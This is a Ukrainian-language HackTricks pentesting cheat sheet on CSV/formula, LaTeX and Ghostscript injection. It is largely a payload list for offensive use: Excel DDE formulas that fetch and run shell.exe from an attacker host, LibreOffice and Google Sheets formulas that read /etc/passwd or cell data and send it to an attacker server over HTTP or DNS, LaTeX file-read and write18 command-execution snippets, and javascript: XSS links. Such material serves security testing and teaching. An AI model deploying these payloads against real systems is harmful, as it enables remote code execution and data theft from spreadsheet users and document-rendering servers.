16 KiB
Внедрення формули/CSV/Doc/LaTeX/GhostScript
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!
Інші способи підтримки HackTricks:
- Якщо ви хочете побачити вашу компанію рекламовану на HackTricks або завантажити HackTricks у форматі PDF, перевірте ПЛАНИ ПІДПИСКИ!
- Отримайте офіційний PEASS & HackTricks мерч
- Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFT
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами на Twitter 🐦 @carlospolopm.
- Поділіться своїми хакерськими трюками, надсилайте PR до HackTricks і HackTricks Cloud репозиторіїв на GitHub.
Група з безпеки Try Hard
{% embed url="https://discord.gg/tryhardsecurity" %}
Внедрення формули
Інформація
Якщо ваш ввід відображається всередині файлів CSV (або будь-якого іншого файлу, який, ймовірно, буде відкритий в Excel), ви, можливо, зможете вставити формули Excel, які будуть виконані, коли користувач відкриє файл або коли користувач клацне на який-небудь посилання всередині аркуша Excel.
{% hint style="danger" %} У сучасних часах Excel сповістить (декілька разів) користувача, коли щось завантажується ззовні Excel, щоб запобігти йому зловмисним діям. Тому до остаточного навантаження потрібно прикласти особливі зусилля з соціальної інженерії. {% endhint %}
Словник
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
Гіперпосилання
Наступний приклад дуже корисний для виведення вмісту з кінцевого аркуша Excel та виконання запитів до довільних місць. Але для цього потрібно, щоб користувач натиснув на посилання (і погодився на попереджувальні вікна).
Наступний приклад був взятий з https://payatu.com/csv-injection-basic-to-exploit
Уявіть порушення безпеки в системі управління записами студентів, яке було використано через атаку внедрення CSV. Основною метою атакуючого є компрометація системи, яку використовують вчителі для управління даними студентів. Метод включає в себе внедрення атакуючим шкідливого навантаження в додаток, зокрема, шляхом введення шкідливих формул в поля, призначені для даних студентів. Атака розгортається наступним чином:
- Внедрення шкідливого навантаження:
- Атакуючий надсилає форму даних студента, але включає формулу, яка часто використовується в електронних таблицях (наприклад,
=HYPERLINK("<malicious_link>","Click here")
). - Ця формула призначена для створення гіперпосилання, але вона вказує на шкідливий сервер, яким керує атакуючий.
- Експорт компрометованих даних:
- Вчителі, не підозрюючи про компрометацію, використовують функціонал додатка для експорту даних в файл CSV.
- При відкритті CSV-файлу все ще містить шкідливе навантаження. Це навантаження виглядає як клікабельне гіперпосилання в таблиці.
- Запуск атаки:
- Вчитель натискає на гіперпосилання, вважаючи його легітимною частиною даних студента.
- Після натискання чутливі дані (потенційно включаючи деталі з таблиці або комп'ютера вчителя) передаються на сервер атакуючого.
- Логування даних:
- Сервер атакуючого отримує та реєструє чутливі дані, відправлені з комп'ютера вчителя.
- Атакуючий може використовувати ці дані для різних зловмисних цілей, подальше компрометування конфіденційності та безпеки студентів та установи.
RCE
Перевірте оригінальний пост для отримання додаткових деталей.
У конкретних конфігураціях або старих версіях Excel можна використовувати функцію під назвою Dynamic Data Exchange (DDE) для виконання довільних команд. Для використання цього необхідно увімкнути наступні налаштування:
- Перейдіть до Файл → Опції → Центр довіри → Налаштування центру довіри → Зовнішній вміст та увімкніть Запуск сервера Dynamic Data Exchange.
При відкритті таблиці зі шкідливим навантаженням (і якщо користувач погоджується з попередженнями), навантаження виконується. Наприклад, для запуску додатка калькулятор, навантаження буде:
`=cmd|' /C calc'!xxx`
Додаткові команди також можуть бути виконані, наприклад, завантаження та виконання файлу за допомогою PowerShell:
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
Локальне включення файлів (LFI) в LibreOffice Calc
LibreOffice Calc може бути використаний для читання локальних файлів та виведення даних. Ось деякі методи:
- Читання першого рядка з локального файлу
/etc/passwd
:='file:///etc/passwd'#$passwd.A1
- Виведення прочитаних даних на сервер, котрим керує зловмисник:
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
- Виведення більше одного рядка:
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
- Ексфільтрація DNS (надсилання прочитаних даних як запити DNS на сервер DNS, котрим керує зловмисник):
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))
Google Sheets для ексфільтрації даних поза мережею (OOB)
Google Sheets пропонує функції, які можна використовувати для ексфільтрації даних поза мережею:
- CONCATENATE: Додає рядки разом -
=CONCATENATE(A2:E2)
- IMPORTXML: Імпортує дані зі структурованих типів даних -
=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
- IMPORTFEED: Імпортує стрічки RSS або ATOM -
=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
- IMPORTHTML: Імпортує дані з HTML таблиць або списків -
=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
- IMPORTRANGE: Імпортує діапазон комірок з іншої таблиці -
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
- IMAGE: Вставляє зображення в комірку -
=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")
Впровадження LaTeX
Зазвичай сервери, які можна знайти в Інтернеті, що конвертують код LaTeX в PDF, використовують pdflatex
.
Ця програма використовує 3 основні атрибути для (не)дозволу виконання команд:
--no-shell-escape
: Вимкнути конструкцію\write18{command}
, навіть якщо вона увімкнена в файлі texmf.cnf.--shell-restricted
: Те саме, що і--shell-escape
, але обмежено до 'безпечного' набору передбачених **команд (**На Ubuntu 16.04 список знаходиться в/usr/share/texmf/web2c/texmf.cnf
).--shell-escape
: Увімкнути конструкцію\write18{command}
. Команда може бути будь-якою командою оболонки. Ця конструкція зазвичай заборонена з міркувань безпеки.
Однак існують інші способи виконання команд, тому для уникнення RCE дуже важливо використовувати --shell-restricted
.
Читання файлу
Можливо, вам доведеться налаштувати ін'єкцію з обгортками, як [ або $.
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
Прочитати однорядковий файл
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
Прочитати багаторядковий файл
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
Запис файлу
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
Виконання команд
Вхідна команда буде перенаправлена на stdin, використовуйте тимчасовий файл, щоб отримати його.
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
Якщо ви отримуєте будь-яку помилку LaTex, розгляньте використання base64, щоб отримати результат без поганих символів
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}
Міжсайтовий скриптінг
Від @EdOverflow
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
Впровадження Ghostscript
Перевірте https://blog.redteam-pentesting.de/2023/ghostscript-overview/
Посилання
- https://notsosecure.com/data-exfiltration-formula-injection-part1
- https://0day.work/hacking-with-latex/
- https://salmonsec.com/cheatsheet/latex_injection
- https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!
Інші способи підтримки HackTricks:
- Якщо ви хочете побачити свою компанію рекламовану в HackTricks або завантажити HackTricks у форматі PDF, перевірте ПЛАНИ ПІДПИСКИ!
- Отримайте офіційний PEASS & HackTricks мерч
- Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFT
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами на Twitter 🐦 @carlospolopm.
- Поділіться своїми хакерськими трюками, надсилайте PR до HackTricks і HackTricks Cloud репозиторіїв на GitHub.